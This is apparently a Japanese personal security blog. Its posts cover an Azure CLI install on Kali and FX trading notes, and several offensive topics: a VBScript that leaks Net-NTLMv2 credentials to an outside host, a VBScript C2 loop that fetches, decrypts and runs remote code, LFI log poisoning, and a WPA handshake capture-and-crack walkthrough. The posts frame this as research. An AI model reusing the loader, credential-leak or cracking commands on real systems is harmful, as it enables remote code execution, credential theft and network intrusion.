Kaliでazcliを使えるようにした際のメモ
tl;dr
- KaliでMicrosoft docsにあるazcliインストール用のワンライナーコマンドを打ってもインストールできなかった
- ms packagesのdistributionにkali-rollingなんてあるわけがなかったのでwheezyを指定した(入れてほしい)
- azcliをインストールしようとしたらlibssl1.0.0依存でコケたのでsource.list.d/azure-cli.listにhttp://security.debian.org/debian-security jessie/updatesを追加した
コマンド
インストールエラー
root@kali:~# curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash export DEBIAN_FRONTEND=noninteractive apt-get update Hit:1 http://linux3.yz.yamagata-u.ac.jp/pub/linux/kali kali-rolling InRelease Reading package lists... Done apt-get install -y apt-transport-https lsb-release gnupg curl Reading package lists... Done Building dependency tree Reading state information... Done curl is already the newest version (7.67.0-2). curl set to manually installed. gnupg is already the newest version (2.2.19-1). gnupg set to manually installed. lsb-release is already the newest version (11.1.0). lsb-release set to manually installed. The following NEW packages will be installed: apt-transport-https 0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded. Need to get 149 kB of archives. After this operation, 156 kB of additional disk space will be used. Get:1 http://ftp.jaist.ac.jp/pub/Linux/kali kali-rolling/main amd64 apt-transport-https all 1.8.4 [149 kB] Fetched 149 kB in 2s (61.2 kB/s) Selecting previously unselected package apt-transport-https. (Reading database ... 309135 files and directories currently installed.) Preparing to unpack .../apt-transport-https_1.8.4_all.deb ... Unpacking apt-transport-https (1.8.4) ... Setting up apt-transport-https (1.8.4) ... set +v curl -sL https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > /etc/apt/trusted.gpg.d/microsoft.asc.gpg set +v CLI_REPO=$(lsb_release -cs) echo "deb [arch=amd64] https://packages.microsoft.com/repos/azure-cli/ ${CLI_REPO} main" \ > /etc/apt/sources.list.d/azure-cli.list apt-get update Get:1 http://ftp.jaist.ac.jp/pub/Linux/kali kali-rolling InRelease [30.5 kB] Get:2 http://ftp.jaist.ac.jp/pub/Linux/kali kali-rolling/main amd64 Packages [16.4 MB] Ign:3 https://packages.microsoft.com/repos/azure-cli kali-rolling InRelease Err:4 https://packages.microsoft.com/repos/azure-cli kali-rolling Release 404 Not Found [IP: 13.75.127.55 443] Get:5 http://ftp.jaist.ac.jp/pub/Linux/kali kali-rolling/non-free amd64 Packages [194 kB] Reading package lists... Done E: The repository 'https://packages.microsoft.com/repos/azure-cli kali-rolling Release' does not have a Release file. N: Updating from such a repository can't be done securely, and is therefore disabled by default. N: See apt-secure(8) manpage for repository creation and user configuration details. root@kali:~#
マニュアルコマンドのログ
- Get packages needed for the install process
root@kali:~# apt-get install ca-certificates curl apt-transport-https lsb-release gnupg Reading package lists... Done Building dependency tree Reading state information... Done apt-transport-https is already the newest version (1.8.4). ca-certificates is already the newest version (20190110). ca-certificates set to manually installed. curl is already the newest version (7.67.0-2). gnupg is already the newest version (2.2.19-1). lsb-release is already the newest version (11.1.0). 0 upgraded, 0 newly installed, 0 to remove and 12 not upgraded.
- Download and install the Microsoft signing key
root@kali:~# curl -sL https://packages.microsoft.com/keys/microsoft.asc | > gpg --dearmor | > sudo tee /etc/apt/trusted.gpg.d/microsoft.asc.gpg > /dev/null root@kali:~#
- Add the Azure CLI software repository←手を加えている
root@kali:~# AZ_REPO="wheezy" root@kali:~# echo -e "deb http://security.debian.org/debian-security jessie/updates main\ndeb [arch=amd64] https://packages.microsoft.com/repos/azure-cli/ $AZ_REPO main" | > sudo tee /etc/apt/sources.list.d/azure-cli.list deb http://security.debian.org/debian-security jessie/updates main deb [arch=amd64] https://packages.microsoft.com/repos/azure-cli/ wheezy main
- Update repository information and install the azure-cli package
root@kali:~# apt update root@kali:~# apt install libssl1.0.0 Reading package lists... Done Building dependency tree Reading state information... Done The following additional packages will be installed: multiarch-support The following NEW packages will be installed: libssl1.0.0 multiarch-support 0 upgraded, 2 newly installed, 0 to remove and 13 not upgraded. Need to get 1,229 kB of archives. After this operation, 3,353 kB of additional disk space will be used. Do you want to continue? [Y/n] y Get:1 http://security.debian.org/debian-security jessie/updates/main amd64 multiarch-support amd64 2.19-18+deb8u10 [181 kB] Get:2 http://security.debian.org/debian-security jessie/updates/main amd64 libssl1.0.0 amd64 1.0.1t-1+deb8u12 [1,049 kB] Fetched 1,229 kB in 1s (902 kB/s) Preconfiguring packages ... Selecting previously unselected package multiarch-support. (Reading database ... 309139 files and directories currently installed.) Preparing to unpack .../multiarch-support_2.19-18+deb8u10_amd64.deb ... Unpacking multiarch-support (2.19-18+deb8u10) ... Setting up multiarch-support (2.19-18+deb8u10) ... (Reading database ... 309143 files and directories currently installed.) Preparing to unpack .../libssl1.0.0_1.0.1t-1+deb8u12_amd64.deb ... Unpacking libssl1.0.0:amd64 (1.0.1t-1+deb8u12) ... Setting up libssl1.0.0:amd64 (1.0.1t-1+deb8u12) ... root@kali:~# apt-get install azure-cli Reading package lists... Done Building dependency tree Reading state information... Done The following NEW packages will be installed: azure-cli 0 upgraded, 1 newly installed, 0 to remove and 13 not upgraded. Need to get 88.9 MB of archives. After this operation, 386 MB of additional disk space will be used. Get:1 https://packages.microsoft.com/repos/azure-cli wheezy/main amd64 azure-cli all 2.0.60-1~wheezy [88.9 MB] Fetched 88.9 MB in 6min 13s (238 kB/s) Selecting previously unselected package azure-cli. (Reading database ... 309163 files and directories currently installed.) Preparing to unpack .../azure-cli_2.0.60-1~wheezy_all.deb ... Unpacking azure-cli (2.0.60-1~wheezy) ... Setting up azure-cli (2.0.60-1~wheezy) ... Processing triggers for kali-menu (2020.1.7) ... root@kali:~#
以上、あとはaz loginして適当に。 ようやっとazコマンドから検証用AD Network構築ができるか確認できるようになった...
シストレに関する雑記
FXに限らない、汎用的に使えそうなシストレに関する考え方案をつらつら書いてみる。
正しさとか可能かどうかとかはひとまずおいておく。
"優秀なシステム"とやらのテキトーな定義と条件(ここではFXを例とする)
- 利益を上げ続ける
- 実現方法1 : 損切りを含めた運用の結果
- 実現方法2 : 利益が出る(可能性が非常に高い)ポジションのみ取る
- 実現方法3 : Long(買いポジション)のみ取る(2020/2/25 Added)
- 年間利益が4,200pips以上、取引回数は問わないとする
- 優秀ストラテジーを輩出しているシストレはどこ?シストレ24・みんなのシストレ・エコトレFXを徹底比較! - 自動売買・相場分析・投資戦略の販売プラットフォーム - GogoJungle
- 元手100万レバレッジ25倍とかにして発注数量を常に2万通貨とした場合、ざっくり+84万円(+184%)〜
- 1日あたりいくら目標、の場合は適当に逆算
その他運用に関する話
- 損切りに関する実装
シグナル、指標に関する考え方
- 何でもいい、上記を実現できるものを適当に組み合わせる
雑感
- それぞれの要素をアルゴリズムに落とせば、手でやってる肌感覚としては年+84%は余裕でいける気がする
- 某大統領の発言とか指標発表とかそういうイベントは全スルーした上で、1日1回取引すればあとは傍観できるというのは非常に健康指数高め
- 「できる限り利益を多く」とすると、取引回数を多くする or 1取引あたりの利益(pips)を広くする、必要があるのがリスク回避の観点でキツい。スプレッドを本番に合わせたデモ口座で要調整
Windows認証のHTTPリクエスト(Net-NTLMv2)を送るVBScript(超ヤバイ)
VBScript、オモシロイ
VBScriptネタ2つ目。枯れた技術なvbscript(WSH)で一体どこまでできるんだろうと調べているところだったりする。
内容はタイトルとサンプルソースが全て。ちなみにこれで何ができるかと言うと、前回のブログの内容&Net-NTLMv2認証に使う情報の取得+事前送信とを組み合わせて、UAC bypassやら権限昇格やらmimikatzやらなしで攻撃者はゲフンゲフンできてしまう、という話。
Windows認証なHTTPリクエストを送るVBScript例
Dim obj : Set obj = CreateObject("WinHTTP.WinHTTPRequest.5.1") Dim url : Set url = "http://hogehogefugafuga.com/" obj.SetAutoLogonPolicy AutoLogonPolicy_Always obj.Open "GET", url, False obj.Send Set obj = Nothing
結論
サーバ側にchallengeを送るためのシロモノだったり取ったデータを文字列として出力する仕組みがあるとゲフンゲフン...vbscript(WSH)、ヤバイ。管理者に刺さったりでもしたらゲホゲホ。
くれぐれも外から送られてきたマクロやらhta(wshが動くモノ)は実行しないこと。
2019/12/13(ジェイソンの日)追記
PoCとDEMOとか説明用pptxのダウンロードリンク
https://www.dropbox.com/s/l7vdr07xooe8ptu/Get-NTLMv2.zip?dl=0
パスワードは100桁なので欲しければDMとかくだしあ
vbscriptで自由奔放に振る舞えた件
サンプルでだいたい終わり
まずはこのサンプルvbscriptを見てほしい。これをどう思うだろうか。
Function decrypt(bytes) ' base64 decode/AES decrypt...etc decrypt = string End Function Function HttpsPolling() ' Https polling and recieve encrypted vb script url = "https://" & c2Server & path & query EncryptedResponse = xmlhttprequest(url) HttpsPolling = EncryptedResponse End Function Function GoGo() plaincode = decrypt(response) ExecuteGlobal plaincode End Function c2Server = "sample.com" path = "/index.html" query = "?_=" & timestamp sleeptime = 10 * 1000 Do response = HttpsPolling If not(response = "") then Call GoGo End If Wscript.Sleep(sleeptime) Loop
すごく...ぁゃしぃです。
それはそれとしてplaincodeにたとえばc2Server = "sample1.co.jp"なんて入ってきたらどうなるだろう。
そう、sample1.co.jpに通信先が変わる。
さらに以下のようなコードがplaincodeに入ってきたら
Function test() MsgBox "Hello, world" End Function test
もちろん端末上でメッセージボックスが出る。つまり任意のvbscriptをサーバ側で指定、かつ実行可能ということ(グループポリシーとかアンチウイルスソフトに止められなければ
※response = DnsPollingとか入ってきたら通信方法も変わるよ!やったねたえちゃん!
結論
vbscript、ヤバイ(アンチウイルスソフトには是非捕まえてほしい
LFI(Local File Include)ってpoisoningでバックドア開かれるよねって話
TL;DR
- ローカルファイルのファイル名推測って必要なの?
- とりあえずApache + PHP(もうこの組み合わせ自体古い気もするけど)のテンプレで考えてみよう
- そうだ!我々には/var/log/apache2/access.log or error.logがあるじゃないか!
Reference
とりあえず一番古そうな記事
Notes
- ログファイルに載ればなんでもいいのでメソッド部分、URL、User-Agentとかのヘッダ部分にとかとか放り込めめば勝ち
- WAF/IPSがいたらさすがに引っ掛けてくれると思いたい
- Node.jsとかGoとかのモダンなやつは自分でハンドリングした上でログ吐き出すはずだからファイル名の推測は必要だけど、トラバーサルでファイル名取得できないかなーと思ってみたり
Wireless Hackでよくある4 way handshake sniffingの話(それ、Macbookでもできるよ)
tl;dr
- 無線のセキュリティを考えるときに触ることになるWireless Hackingの入門(4-way handshake sniffing)
- 本とかブログとか読んで「えぇ...Wireless Hacking用にアダプタ用意しなきゃいけないの?」とか「アダプタどれならええんや...」とか「アダプタ買ったけど良いけど対応してるドライバどれだよ」とかで疲れ気味な人向け
- それ、Macbook 1 台でできるよ
- 「Hak5のWifi Pineappleサイコー」だとか「今度のBlackHatにもPineappleおじさん出没するのかな」とかいった
危ない上級者の方はどうぞお帰りください. (USB Rubber Duckyって日本で引っかかる人いるのかな...ガワを変えれば刺しちゃうかな?)
注意事項
- あくまで実験の一環です. 悪用厳禁.
- 実際に企業さんとかカフェとか, 自身の管理下にないAPに対して行うときは誓約書とか用意してしっかり契約結んでください.
内容
- Setup
- KaliLinuxでやってるsniff and crack WPA/WPA2 4-way handshakeと同じ
- Scan
- Monitor
- Deauth: 必要があれば
- Sniff
- Crack
Setup
- airport
macOS標準の無線周りに触るためのコマンド.
ただしPathの箇所にはいない(はず、初めてさわった時はいなかった)のでalias or Pathのディレクトリにln -sしておくこと.
※個人的にはln -s推奨. のちほどsudoでの実行が必要になるので.
% which airport airport: aliased to /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport
JamWifi
Deauthするときに使うアプリ. 検証のときには特に必要ない.
実際に攻撃が行われる場合, 攻撃対象APには大抵すでに接続端末があるので, Deauth packetsを送る > 再接続のときの4 way handshakeを捕まえる, という流れになる.
攻撃を受ける側の動作としてみておくと吉.
このブログを書いている時はちゃんと動いてくれていない(Scan時にBSSIDが取れていなかった)ので, 別のものも用意しておいた方が良さそう.
Deauth packetを送るツールは他にもあるっぽいので要調査.tcpdump
言わずと知れたトラフィックダンプツール.
入っているはず...入ってなかったらbrew install tcpdumpとかbrew install wiresharkとかでいけるはず(テキトー)
brew install wireshark
- aircrack-ng(or hashcat)
hash crack tool. インストール.
brew install aircrack-ng
Attack(検証)
今回の対象はSSID「victim-a」. passwordは「nknskn-password」とします.
- Scan
$ airport -s
BSSIDを確認. 74:03:bd:74:e0:d5
接続channelは100
- 準備
$ export BSSID=74:03:bd:74:e0:d5 $ sudo airport -z # Wifi接続の切断 $ sudo airport -c100 # Channel設定 $ sudo airport -c # 設定状況の確認 channel: 100 $ echo $BSSID 74:03:bd:74:e0:d5
- Sniff
- Beacon Sniffing
$ sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i en0 -w beacon_`date +%s`.cap tcpdump: listening on en0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), capture size 262144 bytes 1 packet captured 40 packets received by filter 0 packets dropped by kernel
- Handshake Sniffing
$ sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i en0 -w handshake_`date +%s`.cap tcpdump: listening on en0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), capture size 262144 bytes ^C4 packets captured 7322 packets received by filter 0 packets dropped by kernel
- Crack
- Merge beacon packet and handshake packets
$ mergecap -a -F pcap -w capture.cap beacon_1554221349.cap handshake_1554221397.cap
- aircrack-ng
$ aircrack-ng -w sample_word.lst capture.cap ... KEY FOUND! [ nknskn-password ]
コメント
- 眠いのでひとまずここまで. なんかあればまた追記します.
Browser Extensionを書いてみる: Chrome - 2.バックグラウンドページからxhrでクロスドメインに通信を飛ばす
tl;dr
Browser Extension for Chromeの続き. XMLHttpRequest を使ってバックグラウンドページから通信を飛ばすサンプル. あくまで研究用で悪用厳禁. よく某赤いセキュリティベンダからプレスがでているmaliciousなBrowser Extensionはこんな感じの設定がされている,という資料程度にどうぞ. ※赤い会社と一切関係はありません
Code
manifest.json gist.github.com
background.js: インストール(読み込み)時にxhr通信 gist.github.com
Server